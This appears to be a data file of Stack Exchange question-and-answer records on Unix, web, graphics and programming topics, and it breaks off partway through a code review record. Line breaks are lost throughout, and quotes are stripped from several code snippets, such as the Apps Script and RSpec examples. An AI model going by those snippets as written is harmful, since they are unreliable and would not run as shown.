{  "id": "_unix.19498"  , "question": "In this thread, yoda suggests the following solution for using colors in zsh#load colorsautoload colors && colorsfor COLOR in RED GREEN YELLOW BLUE MAGENTA CYAN BLACK WHITE; do    eval $COLOR='%{$fg_no_bold[${(L)COLOR}]%}'  #wrap colours between %{ %} to avoid weird gaps in autocomplete    eval BOLD_$COLOR='%{$fg_bold[${(L)COLOR}]%}'doneeval RESET='$reset_color'Correct me if I am wrong, but if I understand correctly, autoload colors && colors allows you to call colors by their name, while the rest of the script just wraps them in ${ $}.This made me think about the following questions:Is there a way to know what colors are loaded by calling autoload colors && colors? How do I know what colors are supported by my terminal?"  , "title": "Understanding colors in zsh"  , "tags": "zsh;colors"  , "accepted_answer": "The colors function records the names of colors and similar attributes (bold, underline and so on) in the associative array color. This array associates names with terminal attribute strings, which are numbers, e.g. 00 normal, 42 bg-green, echo ${(o)color}If you want to see how the array is built, look at the source of the function: which colors or less $^fpath/colors(N).The colors function only defines names and escape strings (in the associative arrays fg and bg) for the 8 standard colors. Your terminal may have more. See this answer for how to explore what colors are available."  } 
{  "id": "_unix.193714"  , "question": "I am aware of following thread and supposedly an answer to it. Except an answer is not an answer in generic sense. It tells what the problem was in one particular case, but not in general.My question is: is there a way to debug ordering cycles in a generic way? E.g.: is there a command which will describe the cycle and what links one unit to another?For example, I have following in journalctl -b (please disregard date, my system has no RTC to sync time with):Jan 01 00:00:07 host0 systemd[1]: Found ordering cycle on sysinit.target/startJan 01 00:00:07 host0 systemd[1]: Found dependency on local-fs.target/startJan 01 00:00:07 host0 systemd[1]: Found dependency on cvol.service/startJan 01 00:00:07 host0 systemd[1]: Found dependency on basic.target/startJan 01 00:00:07 host0 systemd[1]: Found dependency on sockets.target/startJan 01 00:00:07 host0 systemd[1]: Found dependency on dbus.socket/startJan 01 00:00:07 host0 systemd[1]: Found dependency on sysinit.target/startJan 01 00:00:07 host0 systemd[1]: Breaking ordering cycle by deleting job local-fs.target/startJan 01 00:00:07 host0 systemd[1]: Job local-fs.target/start deleted to break ordering cycle starting with sysinit.target/startwhere cvol.service (the one that got introduced, and which breaks the cycle) is:[Unit]Description=Mount Crypto VolumeAfter=boot.mountBefore=local-fs.target[Service]Type=oneshotRemainAfterExit=noExecStart=/usr/bin/cryptsetup open /dev/*** cvol --key-file /boot/***[Install]WantedBy=home.mountWantedBy=root.mountWantedBy=usr-local.mountAccording to journalctl, cvol.service wants basic.service, except that it doesn't, at least not obviously. Is there a command which would demonstrate where this link is derived from? And in general, is there a command, which would find the cycles and show where each link in the cycle originates?"  , "title": "generic methodology to debug ordering cycles in systemd"  , "tags": "systemd"  , "accepted_answer": "Is there a command which would demonstrate where this link is derived from?The closest you can do is systemctl show -p Requires,Wants,Requisite,BindsTo,PartOf,Before,After cvol.service, which will show the resulting (effective) dependency lists for a given unit.is there a command, which would find the cycles and show where each link in the cycle originates?To my knowledge, there is no such command. Actually systemd offers nothing to aid in debugging ordering cycles (sigh).According to journalctl, cvol.service wants basic.service, except that it doesn't, at least not obviously.First, the requirement dependencies (Wants=, Requires=, BindsTo= etc.) are independent of ordering dependencies (Before= and After=). What you see here is an ordering dependency cycle, i. e. it has nothing to do with Wants= etc.Second, there is a number of default dependencies created between units of certain types. They are controlled by DefaultDependencies= directive in the [Unit] section (which is enabled by default).In particular, unless this directive is explicitly disabled, any .service-type unit gets implicit Requires=basic.target and After=basic.target dependencies, which is exactly what you see. This is documented in systemd.service(5)."  } 
{  "id": "_computergraphics.56"  , "question": "In GLSL, perspective correct interpolation of vertex attributes is the default setting - one can disable it for specific vertex attributes by using the noperspective qualifier. Other than in post-processing shaders, I've never seen the perspective correct interpolation disabled - are there any other use cases? Also, does it even make a difference, performance-wise?"  , "title": "When to disable perspective correct interpolation ( noperspective )"  , "tags": "opengl;glsl;performance"  , "accepted_answer": "Use cases are only limited by your imagination! noperspective means that the attribute is interpolated across the triangle as though the triangle was completely flat on the surface of the screen. You can do antialiased wireframe rendering with this: output a screen-space distance to the nearest edge as a noperspective varying and use that as coverage in the pixel shader.Or if you're doing non-photorealistic rendering and want a pattern in screen-space like halftoning, you can enable noperspective on your UVs used for texturing.Does it make a performance difference? Probably, but you probably won't notice (with the potential exception of less powerful graphics hardware). Most GPUs are composed of a series of pipeline stages that execute in parallel, and in some sense you only pay the cost for the most expensive stage. If rasterization is the most limiting part for you, then you may see a difference from the divisions that you're skipping per-pixel. I would guess that is most likely when rendering a shadow map or a depth prepass, but those also have the fewest attributes to interpolate."  } 
{  "id": "_webmaster.78279"  , "question": "I have a site for creating random passwords:  http://passwordcreator.orgI was very surprised to get a notice that the site has mobile problems because it is mobile friendly.  Here are the things that Google is complaining about:Size content to viewportGoogle is complaining about the tables at the bottom of the page.  Tabular data is nearly impossible to fit in the width of a mobile device.It is only those tables at the bottom of the page that are outside the viewport.   They don't push the content at the top of the page out of the viewport.  If a user gets that far down the page and is interested in that data, I don't have much choice but to allow them to scroll right.The only remedy that I see would be to hide those tables on smaller screens.   That would make the mobile experience worse, not better.  It would remove functionality from mobile.Click targets too close togetherGoogle is complaining that the passwords are too close together:The only reason that they are clickable is because clicking them selects the entire password.  This makes them easier to copy and paste.   They are close together, but it doesn't hurt mobile usability. Clicking doesn't take you away from content.  It's easy enough to try again if you miss.Possible remedies would be:Make them not clickable on small screens (which would make the site less usable)Move them further apart (fewer will be visible which makes the site less usable)Prioritize visible contentYour page requires additional network round trips to render the above-the-fold content. For best performance, reduce the amount of HTML needed to render above-the-fold content.The entire HTML response was not sufficient to render the above-the-fold content. This usually indicates that additional resources, loaded after HTML parsing, were required to render above-the-fold content.This is one that the tool is just flat out wrong on as far as I can tell.  There is only one network request.   The site uses no images.  All the CSS and JS is inline.   There aren't even third party calls for ads or analytics:What can I do about this?Do I have to make my site worse for this Google algorithm if I want to retain mobile rankings?   Are there any ways to mark items as not a problem in this case?"  , "title": "Google wrongly marks my mobile friendly site as not-friendly"  , "tags": "google;mobile;penalty;googlebot mobile"  } 
{  "id": "_softwareengineering.290936"  , "question": "I started working on a website,for tracking and rating watched anime/manga/etc. and recommendations, and it should also have an API, for providing the info about series and other things.On similar sites, I have noticed that, to use an API, one typically needs a token/auth of sorts, and there are certain usage limits, even if it's for reading info publicly available on the site.But the problem is, you could circumvent all those limits by crawling the site directly.Even if the format is less convenient, once you have a parser in place there's no problem. Actually, if it uses clientside rendering, the info will already be sent in a convenient format.And on the other hand, this would also put more strain on the server, because the info may be spread out on multiple pages, needing more requests, and it would also send info not required by the client app.In the end, is there a point in restricting the API used for info that's available publicly on the site? Should there be an unrestricted, unauthed API for reading public info, in order to avoid needless blunder for both sides?Or should, instead, the site itself have request limits, like an API?"  , "title": "API with limits vs site crawling"  , "tags": "api design;web api"  , "accepted_answer": "Having a public API for data access from your site is about making the data available in a convenient, supported, well-defined and always-up-to-date manner.  It is a way for a site owner to say 'here is data I collect and own, but I want you to be able to use it so I'm making it available. Oh, and I promise not to change the structure or do anything that might break your applications without communicating about it clearly'.Crawling has some technical limitations, some very important legal considerations AND is prone to breaking without any sort of notification from the owner of the data. Personally I would not hesitate to consume a public JSON API if that has data I need, but I'd be hard pressed to start writing a crawler/parser to get it off a website..."  } 
{  "id": "_unix.114407"  , "question": "When deploying my application under linux, where do I put my libraries, executable and the desktop entry file? And what about other files my program needs? For example background pictures, audio files etc.I heard that I put my executable file in the /usr/bin/ folder, my libraries in the /opt/<myapp>/lib/ folder and my desktop entry file in /usr/share/applications/ folder. Is that correct?But where is the general place for application resources?Is that everything I need to care of when deploying my application or are there other steps I am missing? "  , "title": "Deploying my application"  , "tags": "directory structure"  , "accepted_answer": "The Filesystem Hierarchy Standard specifies where to put files.If you're installing files outside of the package manager, always put them under /usr/local or under /opt. Never touch anything under /usr except via the package manager, except for things under /usr/local./usr/local/bin: executables intended to be executed by users (interactively or from scripts)/usr/local/lib: libraries available to many programs, not just yours/usr/local/lib/YOUR-PROGRAM-NAME: any other architecture-dependent files/usr/local/share/doc: documentation (except in man and info format)/usr/local/share/info: documentation in info format/usr/local/share/man/man*: man pages/usr/local/share/YOUR-PROGRAM-NAME: any other architecture-independent filesThese days, the separation of the share area which contains architecture-independent files isn't very important. It was devised back when hard disks were smaller and it was important to save space by not storing architecture-independent files twice in heterogeneous networks. You can skip this distinction if you like and put everything under lib/YOUR-PROGRAM-NAME.If you prefer to use /opt, put everything under /opt/YOUR-PROGRAM-NAME, and make symbolic links in /usr/local/bin (and /usr/local/share/man/man* and /usr/local/share/info if you provide documentation in man and info format) so that users can invoke your program.If you make deb or rpm packages, put files under /usr instead of /usr/local. Check each distribution's documentation for its particularities."  } 
{  "id": "_webapps.60297"  , "question": "I have found answers to this but they don't work. I want to invite my friends to like my band page.If I am on the band page and try to Build an audience, it only gives me options to do this via email.If I am on my personal page I see no option for Build an audience. I am obviously the admin to my own page I assume. What am I missing?"  , "title": "How do I invite a friend to like my page?"  , "tags": "facebook;invite"  } 
{  "id": "_softwareengineering.323848"  , "question": "I am searching for a universal algorithm that shifts pitch and time while keeping the sample rate. (I am trying to program a sound generator (sine, triangle...) as an exercise)I just want to squeeze the samples of the sound together so it appears to be shorter and pitched higher.It's easy if you want to speed it up with a nice number like 2 (leave out every second sample) but what if you want to speed it up by 2.5?Can someone name an algorithm for this? (preferably in C++, but other languages are also fine)(I spent the last 30 minutes writing an algorithm that computes averages of decimals of a number (Like the average of every 2.5 numbers). Then I realized it's totally useless so please help)Does this approach make sense?: (Will be adding pseudocode shortly)N is the amount of the pitchDivide the index of every sample of the sound by N (2/2.8=0.71; 3/2.5=1.07)For every whole number, compute the distances to the next samples (0.29; 0.07)Value portions of distance (1-(0.29/0.36)=19%; 1-(0.07/0.36)=81%New number (New Sample = (19%*SampleA + 81%*SampleB)/2)Code:byte[] input;double f = factor;byte[] output = new byte[ceil(input / f)];output[0] = input[0]for(int i = 1; i < output.length) {    output[i] = (input[floor(i*factor)] + input[ceil(i*factor)]) / 2;}"  , "title": "Pitch/Time Shifting of a PCM byte array"  , "tags": "c++;algorithms"  , "accepted_answer": "As a commenter said, look up 'Audio Resampling'. Also, maybe buy the book called 'The Art of Digital Audio' or similar. Basically, what you are doing is linear interpolation, should work. But resampling at a much higher rate should allow you to pick samples (from the denser set) close to the sample points you need for e.g 2.5 speedup. Analyzing the error from such heuristics is non-trivial, for that you need a good book.If you like maths, read this practical classic: https://www.amazon.com/Fourier-Transform-Its-Applications/dp/0073039381 This 2nd book helps you understand what happens to the signal if you do linear interpolation between samples (it is an exercise...)"  } 
{  "id": "_softwareengineering.225478"  , "question": "In RFC 2617 HTTP Authentication: Basic and Digest Access Authentication they speak always of username and password for the authentication.Why should I choose to take a username as identifier for a website? Usernames are often hard to choose a not existing one or one which is unique. But everyone getting an account somewhere has an email which is unique.Why does the RFC not speak of something abstract like a unique string identifier? That would make much more sense to me where everyone logs into his account with his email...When someone starts with security/authentication the first thing he will think reading the RFC 2617 that he can not do basic auth because I want email + password. What am I missing here?"  , "title": "Why speaks basic http authentication always of a username"  , "tags": "http;authentication"  , "accepted_answer": "The problem here isn't so much the spec, as it is your interpretation.It seems there's a habit among computer professional to always expect verbally spoken and written language to have the same well-defined meaning as programming languages (i.e. if you use this word in a sentence, you must mean this).What's worse is that different people have different preconceptions of the exact and true meaning of certain words and that leads to all kinds of discussions, arguments and all-out battles. Here's an example of someone trying to understand a difference between fragile and brutal and you can read my ranty answer: https://softwareengineering.stackexchange.com/questions/131240/difference-between-brittle-and-fragile/131259#131259You have fallen into the same trap with this auth spec. They mention username and password but all it really means is that your credentials have two parts: public part that everyone knows about and can uniquely identify you by and a private secret part that only the user knows so he can get authenticated.  But at the end, the public part (aka a username) can be just about anything you want, including someone's e-mail, or in some dumb cases, their social security# or in corporate case their unique identifier which puts then on the same level as all other resources."  } 
{  "id": "_datascience.11752"  , "question": "I'm doing some ADA boosting with Decision stumps and in inducing a binary classifying decision stump, i'm finding both leaf nodes to have a positive value. Can this be the case? Is this possible?"  , "title": "Decision Stumps with same value leaf nodes"  , "tags": "decision trees"  , "accepted_answer": "What is the overall response rate? If it's low (even 15-20%) it may be difficult to find decision stumps that contain one leaf with > 50% response! You could consider oversampling or changing cutoff probability, but I think if your using only 2 leaf trees, your model is bound to struggle."  } 
{  "id": "_softwareengineering.328878"  , "question": "My apology if this question is already answered & accessible through search - not quite sure how to phrase this particular query. So, here's scenario & question:File a.py imports several common Python modules (pandas, numpy, etc.) and a file b.py will make use of classes created in a.py, as well as the modules which a.py imports.For sake of performance & clean code, which of these options should I do?1) create a class in b.py which imports not only the classes, but also the common modules, created in a.py?2) import only the newly-created 'a' classes and import the common modules anew in 'b'?3) create a _init__.py, setup.py or main.py for the project which in-aggregate imports all required modules across the files being created?"  , "title": "Python inheritance/import - parent file imported modules, should child import too or thru parent?"  , "tags": "python;inheritance"  } 
{  "id": "_codereview.87044"  , "question": "After a discussion of which users were from Australia, I wrote my first SQL query to find out:SELECT u.DisplayName'Display Name', u.Reputation'Rep', u.Location'Location'FROM Users uWHERE u.Location LIKE '%Australia%'ORDER BY 'Rep' DESCAs always, please tell me the good, the bad, and the ugly.The query can be found here"  , "title": "Query to find users from Australia"  , "tags": "sql;stackexchange"  , "accepted_answer": "I don't like how you're specifying the column aliases. I expect a whitespace between the column and the alias.I like that you're not specifying the optional AS keyword though - I find it only adds clutter when it's there.Also I would have used [square brackets] instead of single quotes, and layout the field names on separate lines, like this:SELECT      u.DisplayName [Display Name]    ,u.Reputation [Rep]    ,u.Location [Location]That way you can easily add, reorder, or comment-out a column if you need to."  } 
{  "id": "_webmaster.86273"  , "question": "For those of you who read an earlier post of mine, you'll understand that my site has AdSense ads and no ads load in IE 7. In fact, I tested another website that uses ads in the same browser and even they don't show up.I checked my user access log for my website for there seems to be some people still using IE 6 along with other older web browsers but the numbers aren't in the majority.Now I see from https://support.google.com/adsense/answer/191268?hl=en that AdSense only wants to support IE 10 and up.In the other post I made, someone suggested I should try to encourage users to upgrade their browser but not in a forceful manner but I'm not sure if that's enough to convert a user to a browser in which they actually see the AdSense ads.The point here is that I want everyone who visits my website to see at least one ad per visit and so far, IE 7 is preventing that from happening. Installing IE 6 is a joke on XP so I couldn't test in that. Luckily on webpagetest.org a computer in Montreal running IE 8 showed the ads.I admit I do suck at advertising and I also don't want to hurt real users.So what would be the grand solution here? "  , "title": "Is posting a small upgrade your browser message enough to get users off IE 7 so that they see ads?"  , "tags": "google adsense;browsers;cross browser;internet explorer 6;internet explorer 7"  } 
{  "id": "_webapps.104076"  , "question": "I have customers re-ordering meal delivery service weekly.I'd like for them to be able to re-order easily instead of retyping their information address etc every week. Is there any feature for returning customers, or a way to track if they are returning to avoid asking them certain questions? or not allowing them to use a specific promo code more than once?"  , "title": "Cognito Forms- Returning Customer"  , "tags": "cognito forms"  } 
{  "id": "_softwareengineering.24798"  , "question": "After a burst of ranting about homework, the applicability of the classes I'm taking, and my computer science teacher, I have some questions concerning education for my career path as a developer.I taught myself everything I know about programming. I've been thinking lately about the advantages of teaching myself vs. learning from a teacher. I feel I might miss some things I would normally learn. I might learn some concepts wrong, or something. After all, computer science eduction has been around longer than I have.The problem is, I'm not learning anything new about computer science in my programming class. I put the computer programming 2 course on my schedule (it was labeled as Computer Science when I signed up for it). It turns out that it's just learning C++ and of course OOP. In fact, the CP2 students are in the same classroom at the same time as the CP2 students, except the CP1 course is a half-year class instead of full year. I thought we'd do something like data structures (other than arrays), or something I'm less experienced in. The teacher had me change my schedule to CP1, but he lets me loose to work on projects with the CP2 students while he teaches the CP1 students.I usually end up helping the CP2 students with build errors and things like that after I'm done. I certainly don't mind helping them, but I'm not learning anything new, and I likely won't, seeing that AFAIK linked lists will be the most advanced concept taught (for the CP2 students; The class ends this semester for CP1, including me). Frankly, I'm not interested in copying source code from paper to screen, which is 90% of what the CP2 students do.I want to be learning something computer science related. I'd hate to sit around waiting for my options to catch up. I want to take classes not offered by my high school, like discrete mathematics, algorithms and data structures, or something like that. So my question is, where can I take classes which aren't offered by my high school? Can I take college classes? (keep in mind there isn't any concurrent, AP, or distance-ed classes concerning computer science offered by my high school besides the CP1/CP2 class I'm in). Do you know any online classes I could take?Thanks,Danny ShieldsP.S: I talk about my programming experience on my StackExchange profile if it helps."  , "title": "As a programmer, what paths should I take concerning education?"  , "tags": "self improvement;education;experience"  , "accepted_answer": "The problem is, I'm not learning anything new about computer science in my programming class.Even in Germany, you don't get the CS stuff (data structures, algorithms, turing model, automatons, proofs, complexity, etc.) until grade 11. In fact, only few select schools offer CS at grade 11(-13). If you are out of luck, university (basically grade 14+ in our system) is the first institution you will get real CS from.Before that, what schools do is just applied practice. Internet technologies like HTML and Javascript to make your own web page. Programming with QBASIC to drive some LEDs hooked up to the LPT port. Stuff you can get done without CS theory.That's for where to take classes. But that is usually not the place where the most proficient programmers emerge from. The B.Sc.s have theory, but the programs they write usually suck because they lack familiarity with pretty much all languages. Even people that just moved from M.Sc. to PhD have the problem, less, but noticable.Few, if any, delve into what is essential for programming: selected paradigms, or perhaps called patterns. I am not talking about procedural VS OOP, or imperative vs declarative. Did any course ever talk about the Builder pattern? The Factory pattern? No? (I recommend http://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612 )What programmers should at best have is experience, and a lot of that. That does not mean they should not also have an understanding about CS concepts (the more the better), but in contrast to university exams, it is not so strictly necessary to understand everything.And as I see it, the programmers being able to churn code has more practical (industrial) weight than a scientist being able to churn theory. (Conversely, a clever business that has to deal with internals of algorithms employs one of each type of person and utilizes twin programming, a.k.a. pair programming.)"  } 
{  "id": "_unix.155029"  , "question": "I have a report running in UNIX and creating a file named xxxx_ddmmyy_hhmm_zzzzzz.txt. I need to remove the zzzzzz from the file name. How do I do it?"  , "title": "How to remove a specific string from file name"  , "tags": "files;rename"  } 
{  "id": "_webmaster.53095"  , "question": "I have a HTTP sniffer application which runs on C++ , when I am getting the user agent field I get something like : Mozilla/5.0 (Windows NT 6.1; WOW655970812; fr=0ea2JbE8UfOtMxCAb.AWUSc_K0DPt0NpgvgWvZVDCZzug.BSHX4S.8d.FIo.AWUtAj4s; xs=1%3AFOApj11sTU3NXA%3A0%3A1378405752%3A6395; sub=128; p=129; act=1378934556224%2F153; presence=EM378935116EuserFA21655970812A2EstateFDsb2F1378934519166Et2F_5b_5dElm2FnullEuct2F1378934511240EtrFA2close_5fescA2Etwlocale=tr_TR; c_user=1655970812; fr=0ea2JbE8UfOtMxCAb.AWUSc_K0DPt0NpgvgWvZVDCZzug.BSHX4S.8d.FIo.AWUtAj4s; xs=1%3AFOApj11sTU3NXA%3A0%3A1378405752%3A6395; sub=128; p=129; act=1378934556224%2F153; presence=EM378935116EuserFA21655970812A2EstateFDsb2F1378934519166Et2F_5b_5dElm2FnullEuct2F1378934511240EtrFA2close_5fescA2EtwF4219503720EatF1378934899190EwmlFDfolderFA2inboxA2Ethread_5fidFA2user_3a626679213A2CG378935116367CEchFDp_5f1655970812F195CCThis doesn't happens often, but still enough to cause problems in my customer's database. It seems for sure I need to make a sanity check while getting this field and after getting this field. My question if the user agent information above somehow meaningful. If not what might be the cause for such strange user agent field in request header."  , "title": "Long user agent field in HTTP header"  , "tags": "http;user agent"  , "accepted_answer": "This UA string definitely looks broken -- I can say that this gibberish looks similar to content of the cookie header.Most often reasons:Fake UA (either used on purpose by some bot/script ... or it's a programmer mistake (or buggy library that was used) when whole request body and headers were assembled manually;Your app got it somehow wrong."  } 
{  "id": "_webmaster.34053"  , "question": "We wish to host multiple apps across multiple servers. What we are looking for (ideally) is an existing solution which will work.  For example, normally to do it we'd follow a route (for failover) like:App is installed on one server along with mysql databaseApp is also installed on a second server. Rsync is used to mirror the files over to the second server and ensure consistencyMySQL is installed with a Master->Slave setup.  We use a service such as DNS Made Easy which has a DNS failover. If one server goes down it automatically routes traffic to the backup serverWe have done the above a few times and generally its fine. The issue I have here is that the above is for one app.  What I would like to look at is how we can manage for multiple apps and if there is a layer (such as VMWare) that has complete mirroring built in at the OS level?   For example how do web hosts currently do it when they ensure that more than one machine is running a bunch of hosted websites. If you were running  hosting and you had 200 clients on a server you would want the same clients across 2 or more servers and want everything mirrored.  Any advice would be much appreciated."  , "title": "Mirroring of Apps across servers"  , "tags": "server;mirror"  } 
{  "id": "_unix.3719"  , "question": "I've got this configuration:WRouter ->(by wifi) Computer1And I want to add another computer (computer2) connected by cable to computer1.Is it possible then to configure computer1 to forward all packets from/to computer2 with DHCP packets too? And if yes, how?"  , "title": "forwarding DHCP packets"  , "tags": "linux;ubuntu;dhcp"  } 
{  "id": "_unix.91960"  , "question": "I'm getting the following output when the mount command is executed.[root@]# mount/dev/sda2 on / type ext4 (rw)proc on /proc type proc (rw)sysfs on /sys type sysfs (rw)devpts on /dev/pts type devpts (rw,gid=5,mode=620)tmpfs on /dev/shm type tmpfs (rw)/dev/sda1 on /boot type ext4 (rw)/dev/sda3 on /home type ext4 (rw)none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)gvfs-fuse-daemon on /root/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev)I'm not able to understand the output of this command.Can anyone give the explanation for this output?"  , "title": "Can anyone explain the output of mount?"  , "tags": "linux;filesystems;mount;linux kernel"  } 
{  "id": "_unix.342688"  , "question": "There is a fundamental aspect of the way permissions work in linux directories I think I have not understood.I have this folder I was trying to access from my local apache server:sudo chmod 777 /home/ut/programmes/Programmation/p5-linux/sudo -u www-data ls /home/ut/programmes/Programmation/p5-linux/ls: cannot read directory '/home/ut/programmes/Programmation/p5-linux/': Permission denied Why is it not working ? even though the permission is 777 ?Moreover, by doing: sudo chown ut:www-data /home/utsudo chmod 710 /home/utwithout changing anything to the permission in /home/ut/programmes/Programmation/p5-linux/, now this is what I get:sudo -u www-data ls /home/ut/programmes/Programmation/p5-linux/icudtl.dat  libffmpegsumo.so  locales  nw.pak  p5  p5.png  Projetsthe only thing I did was to change the group of a parent dictory.why does it work now ?"  , "title": "why does changing the group of my /home folder affects what happens in a subdirectory"  , "tags": "permissions;directory"  } 
{  "id": "_webapps.54798"  , "question": "I would like to find the number of Fridays for a specific month via function in Google Spreadsheets. For example, for January 2014 the value would be 5 and for February 2014 the value would be 4.How can I do that?"  , "title": "Count the number of Fridays in a specific month"  , "tags": "google spreadsheets"  , "accepted_answer": "This is how to do that with Google Apps Script.Codefunction specificDays(dayName, monthName, year) {  // set names  var monthNames = [January, February, March,     April, May, June,    July, August, September,     October, November, December  ];  var dayNames = [Sunday, Monday, Tuesday, Wednesday,     Thursday, Friday, Saterday  ];  // change string to index of array  var day = dayNames.indexOf(dayName);  var month = monthNames.indexOf(monthName)+1;  // determine the number of days in month  var daysinMonth = new Date(year, month, 0).getDate();  // set counter  var sumDays=0;  // iterate over the days and compare to day  for(var i=1; i<=daysinMonth; i++) {    var checkDay = new Date(year, month-1, parseInt(i)).getDay();        if(day == checkDay) {      sumDays ++;    }  }  // show amount of day names in month  return sumDays;}ScreenshotRemarksAdd the script via Tools>Script editor in the menu. Save the script and you're on the go !!ExampleI've created an example file for you: Amount of Day Names in Month"  } 
{  "id": "_unix.228741"  , "question": "I was wondering:Is it possible to create a checksum of a directory (using something like md5sum)Is it possible to recursively create checksum for each file inside the dir (and then print it out)?Or both?I'm using bash"  , "title": "Get checksum of directory on bash"  , "tags": "bash;files;directory;hashsum"  , "accepted_answer": "md5sum won't take directory as input, however tar cf - FOO | md5sumwill checksum it, if a file is change any place within FOO, checksum will change, but you won't have any hint of which file. The checksum will also change if any file metadata changes (permissions, timestamps, ).You might consider using : find FOO -type f -exec md5sum {} \\;  > FOO.md5which will md5 every file individually, and save the result in FOO.md5. This makes it easier to check which file has changed. This variant only depends on file content, not on metadata."  } 
{  "id": "_softwareengineering.153359"  , "question": "These days many apps support asynchronous updates. For example, if you're looking at a list of widgets and you delete one of them then rather than wait for the roundtrip to the server, the app can hide the one you deleted, giving immediate feedback. The actual deletion on the server will happen in the background. This can be seen in web apps, desktop apps, iOS apps, etc.But what about when the background operation fails. How should you feed back to the user? Should you restore the UI to the pre-deletion state? What about when multiple background operations fail together?Does this behaviour/pattern have a name? Perhaps something based on the Command pattern?"  , "title": "Asynchronous update design/interaction patterns"  , "tags": "design patterns;async;user interaction"  } 
{  "id": "_cseducators.3069"  , "question": "I currently coach our school's CyberPatriot team. (You can find information on the CyberPatriot competition here.) We are heading into our second year of competing. Last year we did pretty well for being a more casually organized team, but I'd love to bring in a stronger curriculum. There are helpful training modules provided for coaches, but for more advanced vulnerabilities, independent study and research is necessary for achieving at the highest level in the competition. In particular, the images students must secure encompass a wide range of operating systems. Last year had Windows 7, Windows 8.0, Windows 8.1, Windows 10, Windows Server 2008, and Ubuntu 14.04. Additionally, students used Packet Tracer to learn networking security through the Cisco Networking Academy.The bottom line is that there is a ton of potential information to cover, and there is a precise way to succeed at CyberPatriot. This page explaining how the competition works details the point system: basically you earn points for doing a precise task in securing the system and lose points for making it less secure.My question is this: what resources can I use to strengthen my students' ability to succeed in this competition? For context, they are doing it as an extracurricular activity, and any resource that is engaging for students to work though on their own is a bonus. They are highly-motivated, but since there is so much out there, it's hard to know where to begin since cybersecurity is not my background."  , "title": "Curricular Support for a CyberPatriot Club"  , "tags": "resource request;security;extracurricular club;cyberpatriot"  } 
{  "id": "_unix.139154"  , "question": "If packagehello does not match, the output is still displayed.Aim: to see no output in situation 2Situation 1:user@hostname ~]$ sudo yum list 'package*'packagehellopackagehellopackage2worldpackagehellopackage2worldSituation 2:user@hostname ~]$ sudo yum list 'package*' | grep -E 'package1.*|package2.*'package2worldpackage2worldHow to show the output only if both words match using grep?"  , "title": "Show output only if both words match using grep"  , "tags": "grep;scientific linux"  , "accepted_answer": "Try this:sudo yum list 'package*' |  grep -E 'package1.*package2|package2.*package1'or using multiple grep:sudo yum list 'package*' |  grep 'package1' |  grep 'package2'"  } 
{  "id": "_codereview.77180"  , "question": "This is a Rspec test for pagination in Rails project. I'm not sure if I should write the test in spec/requests or spec/controllers.And there must be a lot of thing that I had better to do. Which part of code should I refactor?spec/requests/companies_spec.rdescribe Companies do  describe GET /companies do    before(:all) { 50.times { FactoryGirl.create(:company) }}    describe index do      context with 50 companies do        it has not second page do          visit root_path          expect(page).to have_no_xpath(//*[@class='pagination']//a[text()='2'])        end      end      context with 51 companies do        before{ FactoryGirl.create(:company) }        it has second page do          visit root_path          find(//*[@class='pagination']//a[text()='2']).click          expect(page.status_code).to eq(200)        end      end    end  endend"  , "title": "RSpec test for pagination"  , "tags": "ruby;pagination;rspec"  , "accepted_answer": "There are many ways to test this. Mostly, though, it'd be nice to avoid having to create 50+ records, since it slows down your tests.If you use a request spec, though, it's probably best to create 50+ records, since it's a high-level test, so you'll want to be close to the real usage scenario.But you can cheat a little in other places. For instance, if you have the records-per-page number defined in a way that's configurable, you can set it to something lower in you pagination test (or you can set it globally for the test environment). For instance, if the per-page is set to 2, you only need to create 3 records to test pagination. That'll be a lot faster than creating 51 records.If you're spec'ing the view itself, you can simply define the instance variables that'll trigger pagination links, and not bother with the actual records. Or you can use FactoryGirl.build_list to merely build the records and assign them to a view-accessible variable, without actually storing them in the database - again, faster.You can also look into mocking and stubbing to avoid actually creating the records.For your current code, You can do a couple of things, like:describe Companies do  describe GET /companies, order: :defined do    before(:all) { FactoryGirl.create_list :company, PER_PAGE }    context with few records do      it does not paginate records do        visit /companies        expect(page).to have_no_xpath(//*[@class='pagination']//a[text()='2'])      end    end    context with many records do      it paginates records do        FactoryGirl.create :company        visit /companies        expect(page).to have_xpath(//*[@class='pagination']//a[text()='2'])        find(//*[@class='pagination']//a[text()='2']).click        expect(page.status_code).to eq(200)      end    end  endendChanges I've made:Using FactoryGirl.create_list to create a number of records at once.Using a PER_PAGE constant, just in case it isn't 50. This could also be an ENV var, an instance variable, or simply hard-coded. But naming it helps document the code.Using order: :defined to force the examples to be run in the order they're defined. This avoids the specs randomly failing because the 2nd test has been run before the first one.I've change the visit path to /companies because that's what the spec is about. You used visit root_path, which no doubt worked fine, but the spec is about visiting /companies, so I find it nicer to keep it consistent.You might also want to check that the correct records actually show up on the page. I.e. attempt to find the name of the 51st company within the rendered page, when you've gone to the 2nd page's path.Lastly, you may want to add some specs for how the system should behave if you go say page 4, but there aren't enough records to show anything.But again, I'd probably start with view/controller specs, before moving on to high-level request specs. Request specs are great because they test everything pretty close to actual usage. But that also makes them more complex, so the more you can check at a lower level, the better."  } 
{  "id": "_codereview.127706"  , "question": "Ive been working on a Rampart inspired multiplayer game for a few weeks now, and it is finally in a playable state. The big thing left to do before going alpha was to add a tutorial to the game. I did a tutorial once before for my city building game, but I was very unhappy with how I coded it. I had a Tutorial class and a TutorialPhase enum, and every render loop the GameScreen  checked to see whether the tutorial was enabled, and if so it told the Tutorial object to check for whether the conditions of the current state were achieved. Then the Tutorial would call methods of the GameScreen to display the next part of the tutorial.This time I wanted to separate everything tutorial related from the regular classes as much as possible.  I created a TutorialGameScreen class that extends the GameScreen class.  All of the conditional logic is inside that. There is still a TutorialPhase enum which contains the strings that will be displayed for each phase, as well as whether or not a click is required to advance. I override only the methods of the GameScreen class that will be necessary to check the conditions.I think that this way is much cleaner. I still need the regular GameScreen to check whether the tutorial is enabled (with a simple boolean) so that I can prevent the game timer from ticking down while the tutorial is running. Id love to hear opinions about my approach.You can try the game hereCastlepartsTutorialGameScreenpublic class TutorialGameScreen extends GameScreen {    private Table tutorialTable;    private LibGDXGame libGDXGame;    private Table overlayTable;    private Label tutLabel1;    private Label tutLabel2;    private Label tutLabel3;    private TutorialPhase tutorialPhase;    public TutorialGameScreen(LibGDXGame libGDXGame, GameType gameType, Difficulty difficulty) {        super(libGDXGame, gameType, 